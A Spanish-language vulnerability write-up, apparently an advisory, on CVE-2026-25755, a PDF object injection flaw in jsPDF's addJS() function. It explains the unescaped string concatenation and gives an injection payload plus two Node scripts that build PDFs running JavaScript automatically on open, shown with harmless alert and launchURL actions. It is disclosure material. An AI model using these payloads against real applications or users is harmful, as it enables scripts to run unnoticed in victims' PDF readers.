
CVE-2026-25755 Una vulnerabilidad crítica de inyección de objetos PDF en jsPDF permite a los atacantes inyectar objetos PDF arbitrarios a través de la función addJS(), lo que posibilita la evasión del sandbox de AcroJS y la ejecución automática de scripts al abrir los PDF.
Se descubrió una vulnerabilidad crítica de Inyección de Objetos PDF (CVE-2026-25755) en jsPDF, una biblioteca JavaScript ampliamente utilizada para generar documentos PDF en aplicaciones de cliente. La vulnerabilidad existe en la función addJS(), que permite a los atacantes inyectar objetos PDF arbitrarios y eludir las restricciones de la sandbox de AcroJS mediante una sanitización inadecuada de la entrada.
La función addJS() en jsPDF permite a los desarrolladores incrustar código JavaScript dentro de los archivos PDF generados. Sin embargo, antes de la versión 4.2.0, la función no sanitizaba correctamente la entrada del usuario que contenía caracteres especiales de sintaxis PDF.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
La función concatena directamente la entrada del usuario en los flujos de objetos PDF sin escapar:
()\Esto permite a los atacantes cerrar prematuramente el contexto de la cadena JavaScript e inyectar objetos PDF arbitrarios.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
Punto de inyección - contexto de cadena escapado
| Paso | Acción | Resultado |
|---|---|---|
| 1 | ) cierra la cadena /JS original | Contexto de cadena terminado |
| 2 | >> cierra el objeto PDF actual | Estructura del objeto rota |
| 3 | /AA << /Open << ... | Nuevo diccionario de acción inyectado |
| 4 | Se añaden objetos PDF arbitrarios | Inyección completa de objetos lograda |
Crea un archivo llamado exploit.js y escribe lo siguiente en él
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
Ejecuta node exploit.js